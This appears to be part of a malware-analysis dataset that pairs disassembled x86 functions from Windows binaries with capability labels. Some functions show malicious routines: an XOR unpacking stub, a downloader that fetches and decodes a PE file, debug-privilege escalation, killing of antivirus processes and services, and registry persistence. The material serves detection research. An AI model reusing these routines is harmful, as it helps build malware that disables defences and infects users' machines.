joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423df0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x423fb2
mov edx, dword fs:[0x18]
xor eax, eax
mov edi, dword [0x42f1a4]
cmp dword [edx + 0x24], edi
je 0x423ed8
test byte [0x425050], 8
jne 0x423f60
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x425060], 8
jne 0x423f21
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x423e7a
cmp esi, 3
jbe 0x423ee0
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x423e8b
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x429728]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.2
jmp 0x423e7a
mov dword [esp], 0x425060
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x423e51
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x423e51
mov dword [esp], 0x425050
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x423e3e
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [esp + 0x28]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x423e44
mov eax, 0xffffffff
jmp 0x423ed8

Function at 0x424030
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov ebx, dword [eax]
call sym.___p___wargv
mov esi, dword [eax]
call sym.__get_initial_wide_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sym.__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dbg.wmain
mov dword [esp], eax
call sym._exit
Function at 0x1000f8c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ecx]
mov dword [ebp - 0xc], eax
push ebx
push esi
push edi
test eax, eax
je 0x1000f9d0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000f9d0
mov ecx, dword [eax + 0x3c]
add ecx, eax
je 0x1000f9d0
cmp dword [ecx], 0x4550
jne 0x1000f9d0
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
xor eax, eax
cmp edi, 0xffffffff
cmove edi, eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], edi
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
jne 0x1000f91d
mov eax, dword [ecx + 0x50]
mov dword [ebp - 8], eax
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000f922
sub ecx, esi
mov dword [ebp - 4], edx
xor esi, esi
lea eax, [ecx + edx]
mov dword [ebp - 0x10], eax
cmp edx, eax
jae 0x1000f989
mov edi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
mov eax, edx
cmp byte [edx], 0x3f
jne 0x1000f959
lea edx, [eax + 1]
mov dword [ebp - 4], edx
cmp byte [edx], 0x3f
jne 0x1000f953
inc edx
xor bl, bl
xor al, al
jmp 0x1000f96a
push 0x10
lea eax, [ebp - 4]
mov bl, 1
push eax
push edx
call edi
mov edx, dword [ebp - 4]
add esp, 0xc
mov byte [esi + 0x108c0700], al
lea ecx, [esi + 1]
inc edx
mov byte [esi + 0x108c0b00], bl
mov eax, edx
mov dword [ebp - 4], edx
mov esi, ecx
cmp edx, dword [ebp - 0x10]
jb 0x1000f942
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 8]
sub ebx, esi
cmp edi, ebx
jae 0x1000f9d0
mov edx, dword [ebp - 0xc]
add edx, edi
xor eax, eax
test esi, esi
je 0x1000f9b9
nop dword [eax]
mov cl, byte [eax + 0x108c0700]
cmp cl, byte [edx + eax]
je 0x1000f9b4
cmp byte [eax + 0x108c0b00], 1
je 0x1000f9ca
inc eax
cmp eax, esi
jb 0x1000f9a0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
add eax, edi
add eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc edi
inc edx
cmp edi, ebx
jb 0x1000f997
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000f9e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1000fa13
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push dword [ebp + 8]
push 0x1000fa20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000fa13
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x420e48e7
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4330d2
nop
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x268050e2
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x20001003
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20004ee0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push str.Mozilla_4.0__compatible_
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20001177
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20001169
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20001154
cmp dword [ebp - 0x10], 0xc8
jne 0x20001154
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x2000114f
cmp dword [ebp - 0xc], 0
jne 0x20001116
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.200024a1
test eax, eax
je 0x2000110a
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20002226
test eax, eax
jne 0x2000114f
lea eax, [ebp - 0x10e8]
push eax
call fcn.2000243c
cmp ebx, dword [ebp + 0x10]
ja 0x2000114f
cmp dword [ebp - 8], 0
je 0x20001166
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x200010d0
push dword [ebp + 0xc]
jmp 0x20001155
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x200011ad
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20001187
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x200011b4
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20004ee0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push str.Mozilla_4.0__compatible_
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20001328
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x2000131a
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20001305
cmp dword [ebp - 0x10], 0xc8
jne 0x20001305
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20001300
cmp dword [ebp - 0xc], 0
jne 0x200012c7
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.20002568
test eax, eax
je 0x200012bb
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20002226
test eax, eax
jne 0x20001300
lea eax, [ebp - 0x10e8]
push eax
call fcn.20002503
cmp ebx, dword [ebp + 0x10]
ja 0x20001300
cmp dword [ebp - 8], 0
je 0x20001317
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20001281
push dword [ebp + 0xc]
jmp 0x20001306
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x2000135e
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20001338
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x2000139e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
cmp word [eax], 0x5a4d
jne 0x20001462
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x20001462
call fcn.20001365
mov eax, dword [0x20007404]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20007404], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20007404]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20007404], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
call fcn.20001365
mov eax, dword [0x20007404]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20007404], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20007404]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20007404], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xf4], eax
pop esi
pop ebp
ret 4

Function at 0x200015dd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.20002763
lea eax, [ebp - 0x208]
mov dword [0x20008da8], 0x124f80
push eax
push 0x20008dac
call fcn.200022ef
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x20008da8
push 0x20001467
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x200017ce
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.20002763
lea eax, [ebp - 0x208]
mov dword [0x20008eb0], 0xdbba0
push eax
push 0x20008eb4
call fcn.200022ef
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x20008eb0
push 0x20001640
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x200018f5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push 0x2000825c
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push str.vorsion.dll
push eax
lea eax, [ebp - 0x208]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
pop edi
jne 0x20001992
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
leave
ret 4
Function at 0x20001ce9
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.200023c5
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov ebx, 0x1f0003
push str.NVHY78FSUEJASJSUYUEXAYU23487237424JH
push esi
push ebx
call edi
cmp eax, esi
jne 0x20001d2f
push str.NVHYUYTQUDXAYU23487HOMHJDFSUEJASJSJH
push esi
push ebx
call edi
cmp eax, esi
jne 0x20001d2f
push str.XJKSDJIUDJKSSU23487HOMHJDFSUEJASJSJH
push esi
push ebx
call edi
cmp eax, esi
je 0x20001d46
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.20001bac
push str.MYSFTY.EXE
call fcn.20002348
cmp eax, esi
je 0x20001d66
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x20001d66
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push str.V3LTray.exe
call fcn.20002348
test eax, eax
je 0x20001d9c
push esi
push 0x20001bf4
call dword [sym.imp.USER32.dll_EnumWindows]
push str.V3LRun.exe
call fcn.20002348
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x20001d9c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x20001d08

Function at 0x200021e8
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret 4

Function at 0x20002348
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push esi
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.20002226
test eax, eax
jne 0x200023b0
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x200023b6
jmp 0x2000238a
mov edi, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x200023c5
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x20002433
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x2000242a
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x1c]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x20002437
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
leave
ret
push 1
pop eax
leave
ret

Function at 0x2000243c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.CLSIDXIAODW
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x2000249c
mov ecx, dword [ebp + 8]
cmp byte [ecx], bl
je 0x20002476
inc eax
cmp byte [eax + ecx], bl
jne 0x20002470
inc eax
push eax
push ecx
push 1
push ebx
push str.urlinfo
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x200024a1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.CLSIDXIAODW
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x200024ca
xor eax, eax
jmp 0x200024ff
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push eax
push 0
push str.urlinfo
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret 4

Function at 0x20002503
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.CLSIDYKDW
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x20002563
mov ecx, dword [ebp + 8]
cmp byte [ecx], bl
je 0x2000253d
inc eax
cmp byte [eax + ecx], bl
jne 0x20002537
inc eax
push eax
push ecx
push 1
push ebx
push str.urlinfo
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4
Function at 0x20002568
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.CLSIDYKDW
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x20002591
xor eax, eax
jmp 0x200025c6
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push eax
push 0
push str.urlinfo
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret 4

Function at 0x20002629
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x20002661
lea eax, [ebp - 0x1c]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret 8
Function at 0x100010e5
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x1002500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push dword [ebp + 0xc]
call fcn.10001438
mov ecx, eax
call fcn.10004582
mov edi, eax
mov ecx, eax
call fcn.10004bff
push eax
call fcn.10009330
push dword [ebp + 8]
mov esi, eax
call fcn.10009330
add eax, esi
pop ecx
mov dword [ebp - 8], eax
inc eax
pop ecx
call fcn.1001c880
mov ecx, edi
mov ebx, esp
call fcn.10004bff
push eax
push ebx
call fcn.100093c0
push dword [ebp + 8]
push ebx
call fcn.100093d0
add esp, 0x10
push ebx
call fcn.100031d3
mov ecx, dword [ebp - 8]
xor edx, edx
xor edi, edi
mov esi, ebx
lea eax, [ebx + ecx]
cmp ebx, eax
cmova ecx, edx
mov dword [ebp - 8], ecx
test ecx, ecx
je 0x10001181
cmp byte [esi], 0x5c
jne 0x1000117b
push ebx
mov byte [esi], 0
call fcn.100094b8
pop ecx
mov ecx, dword [ebp - 8]
mov byte [esi], 0x5c
inc esi
inc edi
cmp edi, ecx
jb 0x10001166
push ebx
call fcn.100094b8
pop ecx
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100055aa
mov esp, ebp
pop ebp
ret 8

Function at 0x10012fd3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10012e52

Function at 0x10015f6a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10015c2a

Function at 0x10923502
Capabilities:
Encode data using xor

Disassembly:
call fcn.1085771d
lea esp, [esp + 0x1c]
call fcn.1095e03d
mov esi, 0x3d16f5e3
out 0xed, eax
jle 0x109234fd
loope 0x10923535
dec edi
mov edi, 0x3ec5c8ea
cmp edx, dword [edi]
sti
mov eax, 0x821725e9
push eax
ja 0x10923561
pop ss
into
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edx, dword [0x6e826e95]
pop ss
mov ebp, 0xe961bad6
aad 0xe8
fld qword [eax + 0x17]
rcr byte [edi + edx*4 - 0x44d9e8b8], 0x8b
dec ecx
pop ss
inc ebx
stosd dword es:[edi], eax
cld
push ss
imul ebp, dword [edi + 0x6b74e693], 0xffffffa1
test al, 0x76
xor dword [ebx - 0x151d4759], 0x8968bbb1
adc al, 0x3c
invalid
popal
jmp 0x51701e10
sub dword [ebx + 0x7a7d802c], ebx
pop ebp
dec esi
mov ebx, 0x6ccd5714
cld
pop esp
push 0x55
add eax, 0x9bc5bc17
dec esp
invalid